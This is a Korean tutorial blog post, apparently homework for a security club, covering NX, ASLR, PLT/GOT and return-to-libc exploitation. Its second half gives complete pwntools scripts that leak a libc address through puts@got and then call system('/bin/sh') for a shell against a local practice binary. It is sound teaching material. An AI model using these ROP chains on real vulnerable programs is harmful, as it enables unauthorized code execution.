imnyang's workspace

뒤로

(Draft)

NX#

NX(No-eXecute)는 메모리 영역에 쓰기 권한과 실행 권한이 동시에 부여되지 않도록 하는 보호 기법이에요.

프로그램의 메모리는 코드, 데이터, 힙, 스택 등의 영역으로 나뉘어요. 일반적으로 코드 영역에는 실행 권한이 필요하지만, 입력값이나 지역 변수가 저장되는 스택과 힙에는 실행 권한이 필요하지 않아요.

NX가 적용되면 각 메모리 영역에는 필요한 권한만 부여돼요.

코드 영역: 읽기 + 실행
데이터 영역: 읽기 + 쓰기
힙 영역: 읽기 + 쓰기
스택 영역: 읽기 + 쓰기
text

메모리 권한은 다음과 같이 표시돼요.

r: read, 읽기
w: write, 쓰기
x: execute, 실행
text

NX가 적용되지 않은 프로그램에서는 스택에 rwx 권한이 존재할 수 있어요. 이 경우 공격자는 스택에 shellcode를 입력한 뒤 반환 주소를 shellcode의 주소로 덮어서 코드를 실행할 수 있어요.

반대로 NX가 적용된 프로그램에서는 스택에 실행 권한이 없어요. 따라서 스택에 shellcode를 넣고 그 주소로 실행 흐름을 변경하더라도 CPU가 해당 영역의 코드를 실행할 수 없기 때문에 프로그램이 종료돼요.

NX 적용 여부는 checksec으로 확인할 수 있어요.

checksec ./chall
sh

NX가 적용된 경우 다음과 같이 표시돼요.

NX: NX enabled
text

NX가 적용되지 않은 경우에는 다음과 같이 표시돼요.

NX: NX disabled
RWX: Has RWX segments
text

Has RWX segments는 읽기, 쓰기, 실행 권한을 모두 가진 메모리 영역이 존재한다는 의미예요.

GDB에서는 vmmap 명령어를 사용하여 실제 메모리 권한을 확인할 수 있어요.

0x00401000 0x00402000 r-xp  /chall
0x7ffffffde000 0x7ffffffff000 rw-p  [stack]
text

위 결과에서 코드 영역에는 r-x 권한이 있고, 스택에는 rw- 권한만 있는 것을 확인할 수 있어요.

NX가 적용되지 않았다면 스택 권한이 다음과 같이 나타날 수 있어요.

0x7ffffffde000 0x7ffffffff000 rwxp  [stack]
text

스택에 x 권한이 존재하므로 입력한 shellcode를 실행할 수 있어요.

컴파일할 때 -z execstack 옵션을 사용하면 스택에 실행 권한을 부여할 수 있어요.

gcc chall.c -o chall -z execstack
sh

일반적으로 해당 옵션을 사용하지 않으면 스택에는 실행 권한이 부여되지 않아요.

gcc chall.c -o chall
sh

NX는 운영체제나 CPU 제조사에 따라 다른 이름으로 불리기도 해요.

AMD: NX, No-eXecute
Intel: XD, eXecute Disable
Windows: DEP, Data Execution Prevention
ARM: XN, eXecute Never
text

이름은 다르지만 불필요한 메모리 영역에서 코드가 실행되지 않도록 막는다는 목적은 같아요.

ASLR#

ASLR(Address Space Layout Randomization)은 프로그램을 실행할 때마다 스택, 힙, 공유 라이브러리 등의 주소를 무작위로 배치하는 보호 기법이에요.

shellcode를 실행하려면 shellcode가 저장된 주소를 알아야 해요. 반환 주소를 정확한 shellcode 주소로 덮어야 실행 흐름을 변경할 수 있기 때문이에요.

하지만 ASLR이 적용되면 스택과 힙의 주소가 프로그램을 실행할 때마다 달라져요.

예를 들어 다음과 같이 스택 버퍼의 주소를 출력하는 프로그램이 있다고 가정할 수 있어요.

#include <stdio.h>

int main() {
    char buf[0x20];

    printf("buf: %p\n", buf);
    return 0;
}
c

프로그램을 여러 번 실행하면 다음과 같이 서로 다른 주소가 출력돼요.

buf: 0x7ffc93e48020
buf: 0x7ffd61cb2180
buf: 0x7ffe83da52d0
text

이처럼 공격자는 프로그램을 실행하기 전에 스택 버퍼가 어느 주소에 위치할지 정확히 예측하기 어려워요.

리눅스에서는 다음 파일을 통해 ASLR 설정을 확인할 수 있어요.

cat /proc/sys/kernel/randomize_va_space
sh

설정값은 일반적으로 다음과 같은 의미를 가져요.

0: ASLR 비활성화
1: 스택, 공유 라이브러리, VDSO 등에 ASLR 적용
2: 1번 영역과 힙 영역 등에 추가로 ASLR 적용
text

대부분의 리눅스 시스템에서는 값이 2로 설정되어 있어요.

$ cat /proc/sys/kernel/randomize_va_space
2
text

ASLR이 적용되면 보통 다음 영역의 주소가 변경돼요.

스택

공유 라이브러리
VDSO
동적 링커
text

하지만 PIE가 적용되지 않은 실행 파일의 코드 영역은 일반적으로 고정된 주소에 매핑돼요.

main: 0x401176
win:  0x401156
text

따라서 checksec 결과가 다음과 같다면 실행 파일 내부의 코드 주소는 실행할 때마다 같아요.

PIE: No PIE (0x400000)
text

PIE가 적용된 경우에는 실행 파일의 코드 영역도 무작위 주소에 배치돼요.

PIE: PIE enabled
text

ASLR에는 몇 가지 중요한 특징이 있어요.

페이지 단위로 주소가 변경됨#

리눅스는 메모리를 페이지 단위로 관리해요. 일반적인 페이지 크기는 0x1000, 즉 4096바이트예요.

따라서 ASLR이 적용되더라도 주소의 하위 12비트는 변하지 않아요.

libc base: 0x7f21a83c0000
libc base: 0x7fc52d471000
libc base: 0x7f8bb1925000
text

위 주소들은 모두 마지막 세 자리가 000이에요.

라이브러리 내부의 오프셋은 일정함#

ASLR은 라이브러리 전체가 배치되는 시작 주소를 변경해요. 라이브러리 내부 함수들의 상대적인 위치까지 변경하지는 않아요.

예를 들어 libc 내부에서 system 함수의 오프셋이 0x52290이라면 실제 주소는 다음과 같이 계산할 수 있어요.

system = libc_base + 0x52290
py

puts 함수의 실제 주소를 알아냈고 libc 내부의 puts 오프셋을 알고 있다면 libc의 시작 주소를 계산할 수도 있어요.

libc_base = puts_address - puts_offset
py

libc의 시작 주소를 구한 뒤에는 다른 함수들의 주소도 계산할 수 있어요.

system = libc_base + system_offset
binsh = libc_base + binsh_offset
py

따라서 ASLR이 적용되어 있어도 libc 함수 하나의 실제 주소를 유출할 수 있다면, libc의 시작 주소와 다른 함수의 주소를 계산할 수 있어요.

NX와 ASLR 우회#

NX가 적용되면 스택에 넣은 shellcode를 직접 실행할 수 없어요. ASLR까지 적용되면 스택과 libc 등의 주소도 계속 변경돼요.

하지만 프로그램의 코드 영역과 공유 라이브러리의 코드 영역에는 실행 권한이 존재해야 해요. 프로그램이 정상적으로 동작하려면 함수와 명령어를 실행할 수 있어야 하기 때문이에요.

따라서 새로운 코드를 입력해서 실행하는 대신, 이미 메모리에 존재하는 코드를 재사용할 수 있어요.

대표적인 공격 기법은 다음과 같아요.

RTL: Return To Libc
ROP: Return Oriented Programming
text

RTL은 libc에 존재하는 system 같은 함수를 실행하는 방식이고, ROP는 프로그램이나 라이브러리에 존재하는 짧은 명령어 조각을 연결하여 원하는 동작을 만드는 방식이에요.

정적 링크와 동적 링크#

C 프로그램에서 printf, puts, read, system 같은 함수를 사용하면 해당 함수의 실제 구현이 필요해요.

이러한 라이브러리 함수를 프로그램에 포함하는 방법에는 정적 링크와 동적 링크가 있어요.

정적 링크#

정적 링크는 필요한 라이브러리 코드를 실행 파일 안에 직접 포함하는 방식이에요.

gcc chall.c -o chall -static
sh

정적 링크를 사용하면 실행 파일 하나에 필요한 코드가 모두 들어 있어요. 외부 라이브러리에 대한 의존성이 줄어들지만, 실행 파일의 크기가 커지는 단점이 있어요.

동적 링크#

동적 링크는 실행 파일에 라이브러리 코드를 직접 포함하지 않고, 프로그램이 실행될 때 공유 라이브러리를 메모리에 불러오는 방식이에요.

일반적으로 다음과 같이 컴파일하면 동적 링크 방식이 사용돼요.

gcc chall.c -o chall
sh

리눅스의 대표적인 C 공유 라이브러리는 libc예요.

/lib/x86_64-linux-gnu/libc.so.6
text

동적 링크를 사용하면 여러 프로그램이 같은 라이브러리를 공유할 수 있기 때문에 실행 파일의 크기를 줄일 수 있고, 라이브러리를 업데이트하기도 쉬워요.

실행 파일이 사용하는 공유 라이브러리는 ldd 명령어로 확인할 수 있어요.

ldd ./chall
sh

예시는 다음과 같아요.

linux-vdso.so.1
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6
/lib64/ld-linux-x86-64.so.2
text

PLT와 GOT#

동적 링크된 함수의 실제 주소는 프로그램이 실행될 때 결정돼요.

실행 파일을 만들 때는 libc가 어느 주소에 매핑될지 알 수 없어요. ASLR이 적용되어 있다면 libc의 주소는 실행할 때마다 달라지기 때문이에요.

이를 처리하기 위해 ELF 바이너리에서는 PLT와 GOT를 사용해요.

PLT: Procedure Linkage Table
GOT: Global Offset Table
text

PLT#

PLT는 외부 라이브러리 함수를 호출하기 위한 코드가 저장된 영역이에요.

프로그램에서 puts()를 호출하면 실제로는 먼저 puts@plt가 호출돼요.

call puts@plt
asm

PLT는 GOT에 저장된 주소를 확인하여 실제 libc의 puts 함수로 이동해요.

GOT#

GOT는 동적으로 연결된 함수의 실제 주소가 저장되는 테이블이에요.

puts@got -> libc의 puts 주소
read@got -> libc의 read 주소
text

함수가 처음 호출되기 전에는 GOT에 동적 링커로 이동하기 위한 값이 저장되어 있어요. 함수가 처음 호출되면 동적 링커가 libc에서 실제 함수 주소를 찾고, 그 주소를 GOT에 저장해요.

이후 같은 함수를 다시 호출하면 동적 링커를 거치지 않고 GOT에 저장된 주소로 바로 이동해요.

이 과정을 Lazy Binding이라고 해요.

대략적인 호출 과정은 다음과 같아요.

puts 호출
→ puts@plt
→ puts@got 확인
→ 동적 링커가 실제 puts 주소 탐색
→ puts@got에 실제 주소 저장
→ libc의 puts 실행
text

함수가 한 번 연결된 이후에는 다음과 같이 동작해요.

puts 호출
→ puts@plt
→ puts@got
→ libc의 puts 실행
text

GOT에는 libc 함수의 실제 주소가 저장되기 때문에, GOT의 내용을 출력하면 libc 주소를 유출할 수 있어요.

예를 들어 다음과 같이 puts@gotputs 함수의 인자로 전달할 수 있어요.

puts(puts_got);
c

실제로 C 코드에서 저런 변수를 직접 사용하는 것은 아니지만, ROP를 이용하면 같은 호출 구조를 만들 수 있어요.

puts(puts@got)
text

이렇게 유출한 주소에서 libc 내부의 puts 오프셋을 빼면 libc의 시작 주소를 계산할 수 있어요.

libc_base = leaked_puts - libc.symbols["puts"]
py

함수 호출 규약#

64비트 리눅스에서는 함수의 인자를 레지스터를 통해 전달해요.

앞에서부터 다음 순서로 사용돼요.

첫 번째 인자: RDI
두 번째 인자: RSI
세 번째 인자: RDX
네 번째 인자: RCX
다섯 번째 인자: R8
여섯 번째 인자: R9
text

예를 들어 다음 코드를 실행하려면,

system("/bin/sh");
c

호출 직전에 레지스터가 대략 다음과 같이 설정되어야 해요.

RDI = "/bin/sh" 문자열의 주소
RIP = system 함수의 주소
text

단순히 반환 주소를 system 함수로 덮는 것만으로는 RDI에 원하는 값을 넣을 수 없어요.

따라서 다음과 같은 가젯을 사용해요.

pop rdi
ret
asm

이 가젯은 스택에서 값을 하나 꺼내 RDI에 저장한 뒤 다시 return해요.

payload를 다음과 같이 구성하면 system("/bin/sh")를 호출할 수 있어요.

padding
pop rdi; ret 주소
"/bin/sh" 주소
system 주소
text

실행 흐름은 다음과 같아요.

함수 return
→ pop rdi; ret
→ RDI에 "/bin/sh" 주소 저장
→ system 함수로 return
→ system("/bin/sh") 실행
text

RTL#

RTL(Return To Libc)은 반환 주소를 libc에 존재하는 함수의 주소로 덮어서 원하는 함수를 실행하는 공격 기법이에요.

NX가 적용되어 있으면 스택의 shellcode를 직접 실행할 수 없어요. 그러나 libc의 코드 영역에는 실행 권한이 있기 때문에 libc에 이미 존재하는 함수를 호출하는 것은 가능해요.

RTL에서는 주로 다음 호출을 만들어요.

system("/bin/sh");
c

system 함수는 전달받은 문자열을 셸 명령어로 실행해요. 따라서 "/bin/sh" 문자열을 인자로 전달하면 셸을 실행할 수 있어요.

ASLR이 없는 경우#

libc 주소가 고정되어 있거나 필요한 함수의 주소를 이미 알고 있다면 payload를 바로 만들 수 있어요.

from pwn import *

p = process("./chall")
e = ELF("./chall")
libc = ELF("./libc.so.6")

offset = 72

pop_rdi = 0x401263
system = 0x7ffff7e12340
binsh = 0x7ffff7f6a698

payload = b"A" * offset
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)

p.sendline(payload)
p.interactive()
py

하지만 일반적인 환경에서는 ASLR 때문에 libc의 주소가 계속 변경돼요. 따라서 먼저 libc 함수의 주소를 유출해야 해요.

libc 주소 유출#

ASLR이 적용된 환경에서는 보통 공격을 두 단계로 나눠요.

1단계: libc 함수 주소 유출
2단계: system("/bin/sh") 실행
text

첫 번째 payload에서는 puts@got의 내용을 출력해요.

puts(puts@got)
text

이를 위한 payload는 다음과 같이 구성할 수 있어요.

padding
pop rdi; ret
puts@got
puts@plt
main
text

마지막에 main 함수의 주소를 넣는 이유는 주소를 유출한 뒤 프로그램을 다시 처음부터 실행하기 위해서예요.

프로그램이 종료되지 않고 다시 입력을 받게 하면 두 번째 payload를 보낼 수 있어요.

pwntools 코드로 작성하면 다음과 비슷한 형태가 돼요.

from pwn import *

p = process("./chall")
e = ELF("./chall")
libc = ELF("./libc.so.6")

offset = 72
pop_rdi = 0x401263

payload = b"A" * offset
payload += p64(pop_rdi)
payload += p64(e.got["puts"])
payload += p64(e.plt["puts"])
payload += p64(e.symbols["main"])

p.sendline(payload)

leaked_puts = u64(p.recvline().rstrip().ljust(8, b"\x00"))
log.info(f"puts: {hex(leaked_puts)}")
py

64비트 주소는 보통 출력 과정에서 앞부분의 널 바이트가 생략될 수 있어요. 따라서 ljust()를 사용하여 8바이트로 맞춘 뒤 u64()로 변환해요.

leaked_puts = u64(leak.ljust(8, b"\x00"))
py

유출한 puts 주소를 사용하여 libc의 시작 주소를 계산해요.

libc_base = leaked_puts - libc.symbols["puts"]
py

pwntools에서는 다음과 같이 libc의 기준 주소를 설정할 수도 있어요.

libc.address = leaked_puts - libc.symbols["puts"]
py

그러면 system"/bin/sh"의 실제 주소를 간단하게 구할 수 있어요.

system = libc.symbols["system"]
binsh = next(libc.search(b"/bin/sh\x00"))
py

system 함수 호출#

두 번째 payload에서는 계산한 주소를 사용하여 system("/bin/sh")를 호출해요.

payload = b"A" * offset
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)

p.sendline(payload)
p.interactive()
py

전체적인 흐름은 다음과 같아요.

puts@got 주소를 puts@plt에 전달
→ libc의 puts 주소 유출
→ puts 주소에서 puts 오프셋을 뺌
→ libc base 계산
→ system 주소 계산
→ "/bin/sh" 주소 계산
→ system("/bin/sh") 호출
→ 셸 획득
text

전체 예시 코드는 다음과 같이 작성할 수 있어요.

from pwn import *

p = process("./chall")

e = ELF("./chall")
libc = ELF("./libc.so.6")

offset = 72
pop_rdi = 0x401263

# 1. puts 주소 유출
payload = b"A" * offset
payload += p64(pop_rdi)
payload += p64(e.got["puts"])
payload += p64(e.plt["puts"])
payload += p64(e.symbols["main"])

p.sendline(payload)

leaked_puts = u64(p.recvline().rstrip().ljust(8, b"\x00"))
log.info(f"puts: {hex(leaked_puts)}")

# 2. libc base 계산
libc.address = leaked_puts - libc.symbols["puts"]

system = libc.symbols["system"]
binsh = next(libc.search(b"/bin/sh\x00"))

log.info(f"libc base: {hex(libc.address)}")
log.info(f"system: {hex(system)}")
log.info(f"/bin/sh: {hex(binsh)}")

# 3. system("/bin/sh") 호출
payload = b"A" * offset
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)

p.sendline(payload)
p.interactive()
py

스택 정렬#

64비트 환경에서 system 함수 등을 호출할 때 프로그램이 비정상 종료되는 경우가 있어요.

이는 스택 주소가 16바이트 단위로 정렬되지 않았기 때문일 수 있어요.

이때는 ret 가젯을 하나 추가하여 스택을 8바이트 이동시켜 정렬을 맞출 수 있어요.

padding
ret
pop rdi; ret
"/bin/sh"
system
text

pwntools 코드에서는 다음과 같이 사용할 수 있어요.

ret = 0x40101a

payload = b"A" * offset
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
py

system 내부에서 movaps 명령어가 사용되는 경우 스택이 올바르게 정렬되지 않으면 오류가 발생할 수 있기 때문에, payload 구조가 맞는데도 프로그램이 종료된다면 스택 정렬을 확인해야 해요.

[Layer7] 2026년 7월 8일 시스템 해킹 3차시 과제
http://blog.imnya.ng/layer7/15/old/01
저자 imnyang
게시일 2026년 07월 11일